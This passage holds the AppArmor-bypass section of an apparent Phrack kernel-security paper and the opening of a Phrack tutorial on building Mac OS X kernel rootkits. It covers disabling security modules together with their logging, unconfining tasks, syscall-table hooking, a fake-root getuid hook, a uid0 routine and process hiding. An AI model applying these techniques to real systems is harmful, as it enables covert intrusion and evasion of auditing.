
c03fa7ac D apparmorfs_profiles_op

c03fa7c0 D apparmor_path_max

(Determines the maximum length of paths before access is rejected by default)

c03fa7c4 D apparmor_enabled

(Determines if AppArmor is currently enabled ‑ used on runtime)

c04eb918 B apparmor_initialized

(Determines if AppArmor was enabled on boot time)

c04eb91c B apparmor_complain

(The equivalent to SELinux permissive mode, no enforcement)

c04eb924 B apparmor_audit

(Determines if the audit subsystem will be used to log messages)

c04eb928 B apparmor_logsyscall

(Determines if system call logging is enabled ‑ used on runtime)

A NULL‑write primitive suffices to overwrite the values of any of those integers. But for local or shellcode based exploitation, a function exists that can disable AppArmor on runtime, apparmor_disable(). This function is straightforward and reasonably easy to fingerprint:

0xc0200e60 mov eax,0xc03fad54

0xc0200e65 call 0xc031bcd0 <mutex_lock> 0xc0200e6a call 0xc0200110 <aa_profile_ns_list_release> 0xc0200e6f call 0xc01ff260 <free_default_namespace> 0xc0200e74 call 0xc013e910 <synchronize_rcu> 0xc0200e79 call 0xc0201c30 <destroy_apparmorfs> 0xc0200e7e mov eax,0xc03fad54

0xc0200e83 call 0xc031bc80 <mutex_unlock> 0xc0200e88 mov eax,0xc03bba13

0xc0200e8d mov DWORD PTR ds:0xc04eb918,0x0 0xc0200e97 jmp 0xc0200df0 <info_message>

It sets a lock to prevent modifications to the profile list, and releases it. Afterwards, it unloads the apparmorfs and releases the lock, resetting the apparmor_initialized variable. This method is not stealth by any means. A message will be printed to the kernel message buffer notifying that AppArmor has been unloaded and the lack of the apparmor directory within /sys/kernel (or the mount‑point of the sysfs) can be easily observed.

The apparmor_audit variable should be preferably reset to turn off logging to the audit subsystem (which can be disabled itself as explained in the previous section).

Both AppArmor and SELinux should be disabled together with their logging facilities, since disabling enforcement alone will turn off their effective restrictions, but denied operations will still get recorded. Therefore, it's recommended to reset apparmor_logsyscall, apparmor_audit, apparmor_enabled and apparmor_complain altogether.

Another viable option, albeit slightly more complex, is to target the internals of AppArmor, more specifically, the profile list. The main data structure related to profiles in AppArmor is 'aa_profile' (defined in apparmor.h):

struct aa_profile {

char *name;

struct list_head list;

struct aa_namespace *ns;

int exec_table_size;

char **exec_table;

struct aa_dfa *file_rules;

struct {

int hat;

int complain;

int audit;

} flags;

int isstale;

kernel_cap_t set_caps;

kernel_cap_t capabilities;

kernel_cap_t audit_caps;

kernel_cap_t quiet_caps;

struct aa_rlimit rlimits;

unsigned int task_count;

struct kref count;

struct list_head task_contexts;

spinlock_t lock;

unsigned long int_flags;

u16 network_families[AF_MAX];

u16 audit_network[AF_MAX];

u16 quiet_network[AF_MAX];

};

The definition in the header file is well commented, thus we will look only at the interesting fields from an attacker's perspective. The flags structure contains relevant fields:

1. audit: checked by the PROFILE_AUDIT macro, used to determine if an event shall be passed to the audit subsystem.

2. hat: checked by the PROFILE_IS_HAT macro, used to determine if this profile is a subprofile ('hat').

3. complain: checked by the PROFILE_COMPLAIN macro, used to determine if this profile is in complain/non‑enforcement mode (for example in aa_audit(), from main.c). Events are logged but no policy is enforced.

From the flags, the immediately useful ones are audit and complain, but the hat flag is interesting nonetheless. AppArmor supports 'hats', being subprofiles which are used for transitions from a different profile to enable different permissions for the same subject. A subprofile belongs to a profile and has its hat flag set. This is worth looking at if, for example, altering the hat flag leads to a subprofile being handled differently (ex. it remains set despite the normal behavior would be to fall back to the original profile). Investigating this possibility in depth is out of the scope of this article.

The task_contexts holds a list of the tasks confined by the profile (the number of tasks is stored in task_count). This is an interesting target for overwrites, and a look at the aa_unconfine_tasks() function shows the logic to unconfine all tasks associated for a given profile. The change itself is done by aa_change_task_context() with NULL parameters. Each task has an associated context (struct aa_task_context) which contains references to the applied profile, the magic cookie, the previous profile, its task struct and other information. The task context is retrieved using an inlined function:

static inline struct aa_task_context *aa_task_context(struct task_struct *task)

{

return (struct aa_task_context *) rcu_dereference(task‑>security); }

And after this dissertation on AppArmor internals, the long awaited method to unconfine tasks is unfold: set task‑>security to NULL. It's that simple, but it would have been unfair to provide the answer without a little analytical effort. It should be noted that this method likely works for most LSM based solutions, unless they specifically handle the case of a NULL security context with a denial response.

The serialized profiles passed to the kernel are unpacked by the aa_unpack_profile() function (defined in module_interface.c).

Finally, these structures are allocated within one of the standard kmem caches, via kmalloc. AppArmor does not use a private cache, therefore it is feasible to reach these structures in a slab overflow scenario.

The approach to abuse AppArmor isn't really different from that of any other kernel security frameworks, technical details aside.

‑‑‑‑‑‑[ 10. References

[1] "The Slab Allocator: An Object‑Caching Kernel Memory Allocator" Jeff Bonwick, Sun Microsystems. USENIX Summer, 1994. http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.29.4759

[2] "Anatomy of the Linux slab allocator" M. Tim Jones, Consultant Engineer, Emulex Corp. 15 May 2007, IBM developerWorks. http://www.ibm.com/developerworks/linux/library/l‑linux‑slab‑allocator

[3] "Magazines and vmem: Extending the slab allocator to many CPUs and arbitrary resources" Jeff Bonwick, Sun Microsystems. In Proc. 2001 USENIX Technical Conference. USENIX Association. http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.97.708

[4] "The Linux Slab Allocator" Brad Fitzgibbons, 2000. http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.29.4759

[5] "SLQB ‑ and then there were four" Jonathan Corbet, 16 December 2008. http://lwn.net/Articles/311502/

[6] "Kmalloc Internals: Exploring Linux Kernel Memory Allocation" Sean.

http://jikos.jikos.cz/Kmalloc_Internals.html

[7] "Address Space Layout Randomization" PaX Team, 2003. http://pax.grsecurity.net/docs/aslr.txt

[8] In‑depth description of PaX UDEREF, the PaX Team. http://grsecurity.net/~spender/uderef.txt

[9] "MurmurHash2" Austin Appleby, 2007. http://murmurhash.googlepages.com

[10] "Attacking the Core : Kernel Exploiting Notes" sgrakkyu and twiz, Phrack #64 file 6. http://phrack.org/issues.html?issue=64&id=6&mode=txt

[11] "Sysenter and the vsyscall page" The Linux kernel. Andries Brouwer, 2003. http://www.win.tue.nl/~aeb/linux/lk/lk‑4.html

[12] "The Inevitability of Failure: The Flawed Assumption of Security in Modern Computing Environments" Peter A. Loscocco, Stephen D. Smalley, Patrick A. Muckelbauer, Ruth C. Taylor, S. Jeff Turner, John F. Farrell. In Proceedings of the 21st National Information Systems Security Conference. http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.117.5890

[13] "Targeted vs Strict policy History and Strategy" Dan Walsh. 3 March 2005. In Proceedings of the 2005 SELinux Symposium. http://selinux‑symposium.org/2005/presentations/session4/4‑1‑walsh.pdf

[14] "Exploiting Kernel Pool Overflows" Kostya Kortchinsky. 11 June 2008. In Proceedings of SyScan'08 Hong Kong. http://immunitysec.com/downloads/KernelPool.odp

[15] "When a "potential D.o.S." means a one‑shot remote kernel exploit: the SCTP story" sgrakkyu. 27 April 2009. http://kernelbof.blogspot.com/2009/04/kernel‑memory‑corruptions‑are‑not‑just.html

‑‑‑‑‑‑[ 11. Thanks and final statements

"For there is nothing hid, which shall not be manifested; neither was any thing kept secret, but that it should come abroad." Mark IV:XXII

The research and work for KERNHEAP has been conducted by Larry Highsmith of Subreption LLC. Thanks to Brad Spengler, for his contributions to the otherwise collapsing Linux security in the past decade, the PaX Team (for the same reason, and their behind‑the iron‑curtain support, technical acumen and patience). Thanks to the editorial staff, for letting me publish this work in a convenient technical channel away of the encumbrances and distractions present in other forums, where facts and truth can't be expressed non‑distilled, for those morally obligated to do so. Thanks to sgrakkyu for his feedback, attitude and technical discussions on kernel exploitation.

The decision of SUSE and Canonical to choose AppArmor over more complete solutions like grsecurity will clearly take a toll in its security in the long term. This applies to Fedora and Red Hat Enterprise Linux, albeit SELinux is well suited for federal customers, which are a relevant part of their user base. The problem, though, is the inability of SELinux to contemplate kernel vulnerabilities in its threat model, and the lack of sound and well informed interest on developing such protections from the side of the Linux kernel developers. Hopefully, as time passes on and the current maintainers grow older, younger developers will come to replace them in their management roles. If they get over past mistakes and don't inherit old grudges and conflicts of interest, there's hope the Linux kernel will be more receptive to security patches which actually provide effective protections, for the benefit of the whole community.

Paraphrasing the last words of a character from an Alexandre Dumas novel: until the future deigns to reveal the fate of Linux security to us, all wisdom can be summed up in these two words: Wait and hope.

Last but not least, It should be noted that currently no true mechanism exists to enforce kernel security protections, and thus, KERNHEAP and grsecurity could also fall prey to more or less realistic attacks. The requirements to do this go beyond the capabilities of currently available hardware, and Trusted Computing seems to be taking a more DRM‑oriented direction, which serves some commercial interests well, but leaves security lagging behind for another ten years.

We present the next kernel security technology from yesterday, to be found independently implemented by OpenBSD, Red Hat, Microsoft or all of them at once, tomorrow.

"And ye shall know the truth, and the truth shall make you free." John VIII:XXXII

‑‑‑‑‑‑[ 12. Source code

begin 644 kernheap_phrack‑66.tgz M'XL(`%U3/$H``^P]:U?;2++SU?H5'<]A(Q%C;&‑,$H8YAX#)<,+K8+/#W"Q'

end

Developing MacOS X Kernel Rootkits

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x10 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Developing Mac OSX kernel rootkits ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ By wowie <wowie@hack.se> & ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ ghalen@hack.se ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ #hack.se ]=‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑[ Content

1 ‑ Introduction

1.1 ‑ Background

1.2 ‑ Rootkit basics

1.3 ‑ Syscall basics

1.4 ‑ Userspace and kernelspace

2 ‑ Introducing the XNU kernel

2.1 ‑ OS X kernel rootkit history

2.2 ‑ Finding the syscall entry table

2.3 ‑ Opaque kernel structures

2.4 ‑ The I/O Kit Framework

3 ‑ Kernel development on Mac OS X

3.1 ‑ Kernel version dependence

4 ‑ Your first OS X kernel rootkit

4.1 ‑ Replacement of a simple syscall

4.2 ‑ Hiding processes

4.3 ‑ Hiding files

4.4 ‑ Hiding a kernel extension

4.5 ‑ Running userspace programs from kernelspace

4.6 ‑ Controlling your rootkit from userspace

5 ‑ Runtime kernel patching using the Mach APIs

5.1 ‑ System call hijacking

5.2 ‑ Direct Kernel Object Manipulation

6 ‑ Detection

6.1 ‑ Detecting hooked system calls on Mac OS X

7 ‑ Summary

8 ‑ References

9 ‑ Code

‑‑[ 1 ‑ Introduction

‑[ 1.1 ‑ Background

Rootkits for different operating systems have been around for many years. Linux, Windows, and the different *BSD‑flavors have all had their fair share of rootkits. Kernel rootkits are just a continuation of the standard file‑swapping rootkits of days past. The dawn of tools like Osiris and Tripwire forced coders seeking to subvert the operating system to take refuge in kernelspace.

The basic idea of a rootkit is to change the behavior and output of standard commands and tools to hide the presence of backdoors, sniffers and other types of malicious code. And just as within other parts of the security industry it is a continuing arms race between those who seek to subvert the kernel and those who seek to protect it.

In this article we will describe the basics of runtime kernel patching and kernel rootkits for the Mac OS X operating system and how to develop your own. It is intended as an entry level tutorial for beginners and as well as guide for those interested in adapting existing kernel rootkits from other operating systems to Mac OS X. Apple supports two CPU architectures for the Mac OS X operating system: Intel and PowerPC. We believe that this guide is architecture neutral and that most of the source code is compatible with both architectures.

‑[ 1.2 ‑ Rootkit basics

The purpose of a rootkit is to hide the presence of an intruder and his tools. In order to do this the most common features of a kernel rootkit is the ability to hide files, processes and network sockets. More advanced rootkits sometimes provide backdoors and keyboard sniffers.

When a program such as '/bin/ls' is run to lists the files and folders of a directory it calls a function in the kernel called a syscall. The syscall is invoked from userland and transfers control from the userland process to the kernelspace function getdirentries(). The getdirentries() function returns a list of files for the specified directory to the userland process that in return displays the list to the user.

In order to hide the presence of a specific file the data returned from the getdirentires() syscall needs to be modified and the entry for the file deleted before returning the data to the user. This can be accomplished in a number of different ways; one way is to modify the filesystem processing layer (VFS) and another is to directly modify the getdirentires() function. In this brief introduction we will take the easy route and modify the getdirentries() function.

‑[ 1.3 ‑ Syscall basics

When a userland process needs to call a kernel function it invokes a syscall. A syscall is an API function that provides access to services provided by the kernel such as reading or writing to files, listing files in directories or opening and closing network sockets. Each syscall has a number, and all syscalls are invoked referencing this syscall number.

When a userland process wants to invoke a kernel function it is almost always done through a wrapper function in the libc‑library that in turn generates a software interrupt that transfers control from the userland process in to the kernel. The kernel stores a list of all available syscall functions in a table called the sysentry table, each entry has a function pointer to the location of the function for that syscall number.

The kernel looks up the syscall that the userland process wants to call in the syscall entry table and invokes that function to handle the request. A list of the available syscalls as well as their numbers can be found in /usr/include/sys/syscall.h. For example, syscalls of interest to a rootkit wanting to hide files are:

196 ‑ SYS_getdirentries

222 ‑ SYS_getdirentriesattr

344 ‑ SYS_getdirentries64

Each of these entries in the table points to the function in the kernel responsible for returning a list of files. SYS_getdirentries is an older version of the function, SYS_getdirentriesattr is a similar version of with support for OS X specific attributes. SYS_getdirentries64 is a newer version that supports longer filenames. SYS_getdirentries is used by for example bash, SYS_getdirentries64 is used by the ls command and SYS_getdirentriesattr is used by pure OS X‑integrated applications like the Finder. Each of these functions needs to be replaced in order to provide a seamless 'experience' for the end‑user.

In order to modify the output of the function a wrapper function needs to be created that can replace the original function. The wrapper function will first call the original function, search the output and do the required censoring before returning the sanitized data to the userland process.

‑[ 1.4 ‑ Userspace and Kernelspace

The kernel runs in a separate memory space that is private to the kernel in the same way as each user process has it's own private memory. This means that is is not possible to just read and write freely memory from the kernel. Whenever the kernel needs to modify memory in user‑space, for instance copy data to or from userspace, specific routines and protocols needs to followed. A number of help functions are provided for this specific task, most notably copyin(9) and copyout(9). More information about these functions can be found in the manpages for copy(9) and store(9).

‑‑[ 2 ‑ Introducing the XNU kernel

XNU, the Mac OS X kernel and it's core is based on the Mach micro kernel and FreeBSD 5. The Mach layer is responsible for kernel threads, processes, pre‑emptive multitasking, message‑passing, virtual memory management and console i/o. Above the Mach layer is the BSD layer that supplies the POSIX API, networking and filesystems amongst other things. The XNU kernel also has an object oriented device driver framework known as the I/O Kit. This mashup of different technologies provide several different ways to accomplish the same task; to modify the running kernel. Another interesting choice in the design of the XNU kernel is that both the kernel‑ and userland has their own 4gb address space.

‑[ 2.1 ‑ OS X kernel rootkit history

One of the first publicly released Mac OS X kernel rootkits were WeaponX [9] which is developed by nemo [5] and was released in November 2004. It is based on the same kernel extension (loadable kernel module) technique that most kernel rootkits use and provides the expected basic functionality of a kernel rootkit. WeaponX [9] does however not work on newer versions of the Mac OS X operating system due to major kernel changes.

In the latest few releases of Mac OS X Apple has done a couple things hardening the kernel and making it more difficult to subvert. Of particular interest is the fact that it no longer exports the sysentry table and that several of the key kernel structures are opaque and hidden from kernel developers.

‑[ 2.2 ‑ Finding the syscall entry table

As of OS X version 10.4 the sysentry table is no longer an exported symbol from the kernel. This means that the compiler will not be able to automatically identify the position in memory where the sysentry table is stored. This can either be solved by searching the memory for an appropriate looking table or using something else as a reference. Landon Fuller identified that the exported symbol nsysent (the number of entries in the sysentry table) is stored in close proximity to the sysentry table. He also wrote a small routine that finds the sysentry table and returns a pointer to it that can be used to manipulate the table as one see fit [1].

The sysent structure is defined like this:

struct sysent {

int16_t sy_narg; /* number of arguments */

int8_t reserved; /* unused value */

int8_t sy_flags; /* call flags */

sy_call_t *sy_call; /* implementing function */

sy_munge_t *sy_arg_munge32;/* munge system call arguments for

32‑bit processes */

sy_munge_t *sy_arg_munge64;/* munge system call arguments for

64‑bit processes */

int32_t sy_return_type; /* return type */

uint16_t sy_arg_bytes; /* The size of all arguments for

32‑bit system calls, in bytes */

} *_sysent;

The most interesting part of the structure is the "sy_call" pointer, which is a pointer to the actual syscall handler function. Thats the function we want our rootkit to hook. Hooking the function is as easy as changing the value of the pointer to point at our own function somewhere in memory.

‑[ 2.3 ‑ Opaque kernel structures

With OS X version 10.4 Apple also changed the kernel structure in order to provide a more stable kernel API. This was done to ensure that kernel extensions doesn't break when internal kernel structures change. This involves hiding large parts of the internal structures behind API:s and only exporting chosen parts of the structures to developers.

A good example of this is the process structure called "proc". Which is available from both userland and kernelland. The userland version is defined in /usr/include/sys/proc.h and looks like this:

struct extern_proc {

union {

struct {

struct proc *__p_forw; /* Doubly‑linked run/sleep queue. */

struct proc *__p_back;

} p_st1;

struct timeval __p_starttime; /* process start time */

} p_un;

#define p_forw p_un.p_st1.__p_forw

#define p_back p_un.p_st1.__p_back

#define p_starttime p_un.__p_starttime

struct vmspace *p_vmspace; /* Address space. */

struct sigacts *p_sigacts; /* Signal actions, state (PROC ONLY). */

int p_flag; /* P_* flags. */

char p_stat; /* S* process status. */

pid_t p_pid; /* Process identifier. */

pid_t p_oppid; /* Save parent pid during ptrace. XXX */

int p_dupfd; /* Sideways return value from fdopen. XXX */

/* Mach related */

caddr_t user_stack; /* where user stack was allocated */

void *exit_thread; /* XXX Which thread is exiting? */

int p_debugger; /* allow to debug */

boolean_t sigwait; /* indication to suspend */

/* scheduling */

u_int p_estcpu; /* Time averaged value of p_cpticks. */

int p_cpticks; /* Ticks of cpu time. */

fixpt_t p_pctcpu; /* %cpu for this process during p_swtime */

void *p_wchan; /* Sleep address. */

char *p_wmesg; /* Reason for sleep. */

u_int p_swtime; /* Time swapped in or out. */

u_int p_slptime; /* Time since last blocked. */

struct itimerval p_realtimer; /* Alarm timer. */

struct timeval p_rtime; /* Real time. */

u_quad_t p_uticks; /* Statclock hits in user mode. */

u_quad_t p_sticks; /* Statclock hits in system mode. */

u_quad_t p_iticks; /* Statclock hits processing intr. */

int p_traceflag; /* Kernel trace points. */

struct vnode *p_tracep; /* Trace to vnode. */

int p_siglist; /* DEPRECATED */

struct vnode *p_textvp; /* Vnode of executable. */

int p_holdcnt; /* If non‑zero, don't swap. */

sigset_t p_sigmask; /* DEPRECATED. */

sigset_t p_sigignore; /* Signals being ignored. */

sigset_t p_sigcatch; /* Signals being caught by user. */

u_char p_priority; /* Process priority. */

u_char p_usrpri; /* User‑priority based on p_cpu and p_nice. */

char p_nice; /* Process "nice" value. */

char p_comm[MAXCOMLEN+1];

struct pgrp *p_pgrp; /* Pointer to process group. */

struct user *p_addr; /* Kernel virtual addr of u‑area (PROC ONLY). */

u_short p_xstat; /* Exit status for wait; also stop signal. */

u_short p_acflag; /* Accounting flags. */

struct rusage *p_ru; /* Exit information. XXX */

};

The internal definition in the kernel is available from the xnu source in the file xnu‑xxx/bsd/sys/proc_internal.h and contains a lot more info than it's userland counterpart. If we take a look at the userland version of the proc structure from Mac OS X 10.3, with Darwin 7.0, and compares it to the structure above we can spot the differences right away (some comments and whitespace is removed to save space and make it more readable)

structproc {

LIST_ENTRY(proc) p_list;/* List of all processes. */

structpcred *p_cred;/* Process owner's identity. */

structfiledesc *p_fd;/* Ptr to open files structure. */

structpstats *p_stats;/* Accounting/statistics (PROC ONLY). */

structplimit *p_limit;/* Process limits. */

structsigacts *p_sigacts;/* Signal actions, state (PROC ONLY). */

#definep_ucredp_cred‑>pc_ucred

#definep_rlimitp_limit‑>pl_rlimit

intp_flag;/* P_* flags. */

charp_stat;/* S* process status. */

charp_pad1[3];

pid_tp_pid;/* Process identifier. */

LIST_ENTRY(proc) p_pglist;/* List of processes in pgrp. */

structproc *p_pptr; /* Pointer to parent process. */

LIST_ENTRY(proc) p_sibling;/* List of sibling processes. */

LIST_HEAD(, proc) p_children;/* Pointer to list of children. */

#definep_startzerop_oppid

pid_tp_oppid; /* Save parent pid during ptrace. XXX */

intp_dupfd; /* Sideways return value from fdopen. XXX */

u_intp_estcpu; /* Time averaged value of p_cpticks. */

intp_cpticks; /* Ticks of cpu time. */

fixpt_tp_pctcpu; /* %cpu for this process during p_swtime */

void*p_wchan; /* Sleep address. */

char*p_wmesg; /* Reason for sleep. */

u_intp_swtime; /* DEPRECATED (Time swapped in or out.) */

#definep_argslen p_swtime /* Length of process arguments. */

u_intp_slptime; /* Time since last blocked. */

structitimerval p_realtimer;/* Alarm timer. */

structtimeval p_rtime;/* Real time. */

u_quad_t p_uticks;/* Statclock hits in user mode. */

u_quad_t p_sticks;/* Statclock hits in system mode. */

u_quad_t p_iticks;/* Statclock hits processing intr. */

intp_traceflag;/* Kernel trace points. */

structvnode *p_tracep;/* Trace to vnode. */

sigset_t p_siglist;/* DEPRECATED. */

structvnode *p_textvp;/* Vnode of executable. */

#definep_endzerop_hash.le_next

LIST_ENTRY(proc) p_hash;/* Hash chain. */

TAILQ_HEAD( ,eventqelt) p_evlist;

#definep_startcopyp_sigmask

sigset_t p_sigmask;/* DEPRECATED */

sigset_t p_sigignore;/* Signals being ignored. */

sigset_t p_sigcatch;/* Signals being caught by user. */

u_charp_priority;/* Process priority. */

u_charp_usrpri;/* User‑priority based on p_cpu and p_nice. */

charp_nice;/* Process "nice" value. */

charp_comm[MAXCOMLEN+1];

struct pgrp *p_pgrp;/* Pointer to process group. */

#definep_endcopyp_xstat

u_shortp_xstat;/* Exit status for wait; also stop signal. */

u_shortp_acflag;/* Accounting flags. */

structrusage *p_ru;/* Exit information. XXX */

intp_debugger;/* 1: can exec set‑bit programs if suser */

void*task;/* corresponding task */

void*sigwait_thread;/* 'thread' holding sigwait */

struct lock__bsd__ signal_lock;/* multilple thread prot for signals*/

boolean_t sigwait;/* indication to suspend */

void*exit_thread;/* Which thread is exiting? */

caddr_tuser_stack;/* where user stack was allocated */

void * exitarg;/* exit arg for proc terminate */

void * vm_shm;/* for sysV shared memory */

int p_argc;/* saved argc for sysctl_procargs() */

int p_vforkcnt;/* number of outstanding vforks */

void * p_vforkact; /* activation running this vfork proc */

TAILQ_HEAD( , uthread) p_uthlist; /* List of uthreads */

pid_tsi_pid;

u_short si_status;

u_shortsi_code;

uid_tsi_uid;

TAILQ_HEAD( , aio_workq_entry ) aio_activeq;

intaio_active_count;/* entries on aio_activeq */

TAILQ_HEAD( , aio_workq_entry ) aio_doneq;

intaio_done_count;/* entries on aio_doneq */

struct klist p_klist; /* knote list */

struct auditinfo*p_au;/* User auditing data */

#if DIAGNOSTIC

#if SIGNAL_DEBUG

unsigned int lockpc[8];

unsigned int unlockpc[8];

#endif /* SIGNAL_DEBUG */

#endif /* DIAGNOSTIC */

};

As you can seen, Apple has redone this structure quite a bit and removed a lot of stuff, most of the changes where introduced between version 10.3 and 10.4 of Mac OS X. One of the changes to the structure is the removal of the p_ucred pointer, which is a pointer to a structure that contains the user credentials of the current process.

This effectively breaks nemos [5] technique of setting a process user‑id and group‑id to zero, which he does like this:

void uid0(struct proc *p) {

register struct pcred *pc = p‑>p_cred;

pcred_writelock(p);

(void)chgproccnt(pc‑>p_ruid, ‑1);

(void)chgproccnt(0, 1);

pc‑>pc_ucred = crcopy(pc‑>pc_ucred);

pc‑>pc_ucred‑>cr_uid = 0;

pc‑>p_ruid = 0;

pc‑>p_svuid = 0;

pcred_unlock(p);

set_security_token(p);

p‑>p_flag |= P_SUGID;

return;

}

For a rootkit developer that wants to modify specific kernel structures this is somewhat of a problem, both the fact that the kernel structures are neither exported or well documented and the fact that they might rapidly change between kernel versions. Fortunately the kernel source is now open source and can be freely downloaded from Apple. This makes it possible to extract the needed kernel structures from the source.

‑[ 2.4 ‑ The I/O Kit Framework

Mac OS X contains a complete framework of libraries, tools and various other resources for creating device drivers. This framework is called the I/O Kit. The I/O Kit framework provides an abstract view of the hardware to the upper layers of Mac OS X, which simplifies device driver development and thus makes it's less time consuming. The entire framework is object‑oriented and implemented using a somewhat cut down version C++ to promote increased code reuse.

Since this framework operates in kernelspace and can interact with actual hardware, it's ideal for writing keylogging software. A good example of abusing the I/O Kit framework for just that purpose is the keylogger called "logKext", [10] written by drspringfield, which utilizes the I/O Kit framework to log a users keystrokes. This is just one of many uses of this framework in rootkit development. Feel free to explore and come up with your own creative ways of subverting the Mac OS X kernel using the I/O Kit framework.

‑‑[ 3 ‑ Kernel development on Mac OS X

As Mac OS X is somewhat of a hybrid between a number of different technologies runtime modification of the operating system can be done in several ways. One of the easiest methods is to load the 'improved' functionality as a kernel driver. Drivers can be loaded either as kernel extensions for the BSD sub‑layer or as Object Oriented I/O Kit drivers. For the purpose of this first exercise only ordinary BSD kernel extensions will be utilized due to their simplicity and ease of development.

The easiest way to write a kernel extension for Mac OS X is to use the XCode‑templates for 'Generic Kernel Extension'. Open Xcode, Select 'New Project' in the File‑menu. From the list of available templates choose 'Generic Kernel Extension' under 'Kernel Extension'. Give the project a suitable name, such as 'rootkit 0.1' and click 'Finish'. This creates a new Xcode project for your new kernel rootkit.

The newly automatically created .c‑file contains the entry and exit points for the kernel extension:

kern_return_t rootkit_0_1_start (kmod_info_t * ki, void * d) { return KERN_SUCCESS;

}

kern_return_t rootkit_0_1_stop (kmod_info_t * ki, void * d) { return KERN_SUCCESS;

}

rootkit_0_1_start() will be invoked when the kernel extension is loaded using /sbin/kextload and rootkit_0_1_stop() will be invoked when the kernel extension is unloaded using /sbin/kextunload.

Loading and unloading of kernel extensions require root privileges, and the code in these functions will be executed in kernelspace with full control of the entire operating system. It is therefore of the utmost importance that any code executed takes makes sure not to make a mess of everything and thereby crashes the entire operating system. To quote the Apple 'Kernel Program Guide': "Kernel programming is a black art that should be avoided if at all possible" [4].

Any changes made to the kernel in the start()‑function must be undone in the stop‑function(). Functions, variables and other types of loadable objects will be deallocated when the module is unloaded and any future reference to them will cause the operating system to misbehave or in worst case crash.

Building your project is as easy as clicking the 'build button'. The compiled kernel extension can be found in the build/Relase/‑directory and is named 'rootkit 0.1.kext'. /sbin/kextload refuses to load kernel extensions unless they are owned by the root user and belongs to the wheel group. This can easily be fixed by chown:ing the files accordingly. Fledging kernel hackers that dislikes the Xcode GUI:s will be please to known that the project can be build just as easily from the command line using the 'xcodebuild' command.

Apple provides the XCode IDE and the gcc compiler on the Mac OS X DVD, if needed the latest version can also be downloaded from [2] after registration. The source code for the XNU kernel can also be downloaded from [3]. It is recommended that you keep a copy of the kernel sourcecode at hand as reference during development.

One of the great advantages of using the kernel extension API is that the kextload command takes care of everything from linking to loading. This means that the entire rootkit can be written in C, making it almost trivially easy. Another great advantage of C‑development is portability which is an important issue considering that Mac OS X is available for two different CPU architectures.

‑[ 3.1 ‑ Kernel version dependence

As Landon Fuller notes in research access to the nsysent variable needed to find the sysentry‑table is restricted unless the kext is compiled for a specific kernel release. This is due to the simple fact that the address of this variable is likely to change between kernel releases. Kernel dependence for kernel extensions is configured in the Info.plist file included in the XCode‑project. The 'com.apple.kernel'‑key needs to be added to OSBundleLibraries with the version set to the Kernel release as indicated by the 'uname ‑r' command:

<key>OSBundleLibraries</key>

<dict>

<key>com.apple.kernel</key>

<string>9.6.0</string>

</dict>

This ties the compiled kernel extension specifically to version 9.6.0 of the Kernel. A recompile of the kernel extension is needed for each minor and major release. The kernel extension will refuse to load in any other version of the Mac OS X kernel, in many cases that might be considered a good thing.

‑‑[ 4 ‑ Your first OS X kernel rootkit

‑[ 4.1 ‑ Replacement of a simple syscall

To start of the whole kernel subversion business we'll take a quick example of replacing the getuid() function. This function returns the current user ID and in this example it will be replaced it with a function that always returns uid zero (root). This will not automatically give all users root access, only the illusion of having root access. Fun but innocent :)

int new_getuid()

{

return(0);

}

kern_return_t rootkit_0_1_start (kmod_info_t * ki, void * d) {

struct sysent *sysent = find_sysent(); sysent[SYS_getuid].sy_call = (void *) new_getuid;

return KERN_SUCCESS;

}

This simple code‑snippet first defines a new getuid()‑function that always returns 0 (root). The new function will be loaded in kernel memory by the kextload‑function. When the start()‑function runs it will replace the original getuid() syscall with the new and 'improved' version. Returning KERN_SUCCESS indicates to the operating system that everything went as planed and that the insertion of the kernel extension was successful.

A complete version can be found in the code section of this paper; including the unloading function that might prove useful once the initial thrill is over.

‑[ 4.2 ‑ Hiding processes

The '/bin/ps' command, 'top' and the Activity Monitor all list running processes using the sysctl(3) syscall. sysctl(2) is a general purpose multifunction API used to communicate with a multitude of different functions in the kernel. sysctl(2) is used both to list running processes as well open network sockets. In order to intercept and modify the running process list the entire sysctl syscall needs to be intercepted and the commands parsed in order to identify calls to the CTL_KERN‑>KERN_PROC command used to list current running processes.

The sysctl(2) syscall is intercepted using the exactly same method as getuid(), but one of the major differences is that special attention needs to be taken with regards to the arguments. In order to support both big and little endian systems Apple uses padding macros named PADL and PADR that makes the argument struct look very exotic. The easiest way to get it right is to copy the entire struct definition from the XNU kernel source in order to avoid confusion with the padding.

sysctl(2) takes its function commands in the form of a char‑array called 'name'. The commands are hierarchical and most commands have several subcommands that in turn can have subcommands or arguments. The sysctl(2) commands and their respective subcommands can be found in '/usr/include/sys/sysctl.h'.

The CTL_KERN‑>KERN_PROC command to sysctl copies a list of all running processes to a user provided buffer. From the perspective of the rootkit this presents a problem since we want to modify the data before it is returned to the user but since the syscall writes the data directly to the user provided buffer this is problematic. Fortunately we are in position to manipulate the data in the user buffer prior returning control to the user software. This requires copying the data from userspace into a kernelspace buffer, doing the required modification and then copying the data back into userspace.

